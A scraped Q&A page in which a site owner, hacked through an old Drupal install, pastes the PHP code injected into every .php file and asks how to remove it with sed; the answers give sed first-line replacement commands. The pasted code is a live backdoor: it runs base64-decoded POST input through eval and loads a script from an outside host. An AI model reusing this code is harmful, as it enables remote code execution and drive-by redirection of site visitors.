Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

sed, replace first line

Tags:

sed

I got hacked by running a really outdated Drupal installation (shame on me)

It seems they injected the following in every .php file;

<?php global $sessdt_o; if(!$sessdt_o) {    $sessdt_o = 1; $sessdt_k = "lb11";    if(!@$_COOKIE[$sessdt_k]) {     $sessdt_f = "102";     if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); }     else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }    }    else {     if($_COOKIE[$sessdt_k]=="102") {      $sessdt_f = (rand(1000,9000)+1);       if(!@headers_sent()) {       @setcookie($sessdt_k,$sessdt_f); }       else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }        sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"];       $sessdt_v = urlencode(strrev($sessdt_j));       $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);       echo "<script src='$sessdt_u'></script>";       echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";      }     }     $sessdt_p = "showimg";     if(isset($_POST[$sessdt_p])){     eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));     exit;    }    } 

Can I remove and replace this with sed? e.g.:

find . -name *.php | xargs ...  

I hope to have the site working just for the time being to use wget and made a static copy.

like image 377
robert laing Avatar asked Feb 16 '12 10:02

robert laing


People also ask

How do I change the first occurrence in sed?

Remember: s/…/…/ only replaces the first match in each line, but with the -z option sed treats the whole file as a single line. In the general case you have to rewrite your sed expression since the pattern space now holds the whole file instead of just one line. Some examples: s/text.


2 Answers

You can use sed with something like

sed '1 s/^.*$/<?php/' 

The 1 part only replaces the first line. Then, thanks to the s command, it replaces the whole line by <?php.

To modify your files in-place, use the -i option of GNU sed.

like image 96
Scharron Avatar answered Oct 06 '22 14:10

Scharron


To replace the first line of a file, you can use the c (for "change") command of sed:

sed '1c<?php'  

which translates to: "on line 1, replace the pattern space with <?php".

For this particular problem, however, something like this would probably work:

sed '1,/^$/c<?php' 

which reads: change the range "line 1 to the first empty line" to <?php, thus replacing all injected code.

(The second part of the address (the regular expression /^$/) should be replaced with an expression that would actually delimit the injected code, if it is not an empty line.)

like image 43
Stefan van den Akker Avatar answered Oct 06 '22 13:10

Stefan van den Akker